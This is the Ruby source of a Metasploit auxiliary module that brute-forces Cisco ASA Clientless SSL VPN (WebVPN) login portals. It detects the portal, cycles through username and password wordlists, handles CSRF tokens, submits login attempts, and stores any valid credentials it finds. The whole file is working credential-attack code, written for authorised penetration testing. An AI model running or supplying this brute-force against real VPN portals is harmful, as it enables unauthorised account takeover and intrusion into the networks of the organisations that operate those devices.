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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::AuthBrute
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  include Msf::Auxiliary::Scanner
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  include Msf::Exploit::Deprecated
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  moved_from 'auxiliary/scanner/http/cisco_asa_asdm'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility',
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        'Description' => %q{
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          This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and
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          performs login brute-force to identify valid credentials.
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        },
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        'Author' => [
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          'Jonathan Claudius <jclaudius[at]trustwave.com>', # original Metasploit module
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          'jbaines-r7' # updated module
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        ],
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        'References' => [
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          [ 'URL', 'https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html' ]
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        ],
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        'License' => MSF_LICENSE,
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        'DefaultOptions' => {
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          'RPORT' => 443,
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          'SSL' => true
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('GROUP', [true, 'The connection profile to log in to (blank by default)', '']),
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        OptPath.new('USERPASS_FILE', [
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          false, 'File containing users and passwords separated by space, one pair per line',
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          File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')
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        ]),
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        OptPath.new('USER_FILE', [
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          false, 'File containing users, one per line',
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          File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')
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        ]),
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        OptPath.new('PASS_FILE', [
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          false, 'File containing passwords, one per line',
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          File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
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        ])
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      ]
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    )
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  end
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  def run_host(_ip)
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    # Establish the remote host is running the clientless vpn
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    res = send_request_cgi('uri' => normalize_uri('/+CSCOE+/logon.html'))
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    if res && res.code == 200 && res.get_cookies.include?('webvpn')
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      print_status('The remote target appears to host Cisco SSL VPN Service. The module will continue.')
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      print_status('Starting login brute force...')
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      each_user_pass do |user, pass|
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        do_login(user, pass)
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      end
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    else
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      print_status('Cisco SSL VPN Service not detected on the remote target')
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    end
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  end
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  def report_cred(opts)
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    service_data = {
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      address: opts[:ip],
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      port: opts[:port],
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      service_name: 'Cisco ASA SSL VPN Service',
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      protocol: 'tcp',
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      workspace_id: myworkspace_id
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    }
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    credential_data = {
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      origin_type: :service,
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      module_fullname: fullname,
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      username: opts[:user],
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      private_data: opts[:password],
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      private_type: :password
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    }.merge(service_data)
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    login_data = {
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      last_attempted_at: DateTime.now,
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      core: create_credential(credential_data),
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      status: Metasploit::Model::Login::Status::SUCCESSFUL,
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      proof: opts[:proof]
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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  # Brute-force the login page
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  def do_login(user, pass)
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    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
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    # some versions require we snag a CSRF token. So visit the logon portal
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    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('/+CSCOE+/logon.html'))
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    return unless res && res.code == 200
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    vars_hash = {
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      'tgroup' => '',
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      'next' => '',
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      'tgcookieset' => '',
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      'username' => user,
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      'password' => pass,
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      'Login' => 'Login'
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    }
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    cookie = 'webvpnlogin=1'
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    # the web portal may or may not contain CSRF tokens. So snag the token if it exists.
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    if res.body.include?('csrf_token')
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      csrf_token = res.body[/<input name="csrf_token" type=hidden value="(?<token>[0-9a-f]+)">/, :token]
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      if csrf_token
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        vars_hash['csrf_token'] = csrf_token
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        cookie = "#{cookie}; CSRFtoken=#{csrf_token};"
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      else
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        print_error('Failed to grab the CSRF token')
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        return
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      end
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    end
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    # only add the group if the user specifies a non-empty value
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    unless datastore['GROUP'].nil? || datastore['GROUP'].empty?
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      vars_hash['group_list'] = datastore['GROUP']
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    end
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    res = send_request_cgi({
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      'uri' => normalize_uri('/+webvpn+/index.html'),
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      'method' => 'POST',
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      'ctype' => 'application/x-www-form-urlencoded',
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      'cookie' => cookie,
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      'vars_post' => vars_hash
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    })
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    # check if the user was likely forwarded to the clientless vpn page
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    if res && res.code == 200 && res.body.include?('/+webvpn+/webvpn_logout.html') && res.body.include?('/+CSCOE+/session.js')
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      print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
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      report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
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      # logout - the default vpn connection limit is 2 so it's best to free this one up. Unfortunately,
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      # we need a CSRF and non-CSRF version for this as well.
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      if res.body.include?('csrf_token')
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        csrf_token = res.body[/<input type="hidden" name="csrf_token" value="(?<token>[0-9a-f]+)">/, :token]
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        # if we don't pull out the token... just keep going? Failing logout isn't the end of the world.
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        if csrf_token
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          send_request_cgi(
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            'uri' => normalize_uri('/+webvpn+/webvpn_logout.html'),
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            'method' => 'POST',
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            'vars_post' => { 'csrf_token' => csrf_token },
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            'cookie' => res.get_cookies
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          )
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        end
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      else
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        send_request_cgi('uri' => normalize_uri('/+webvpn+/webvpn_logout.html'), 'cookie' => res.get_cookies)
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      end
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      return :next_user
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    else
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      vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
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    end
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  end
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end
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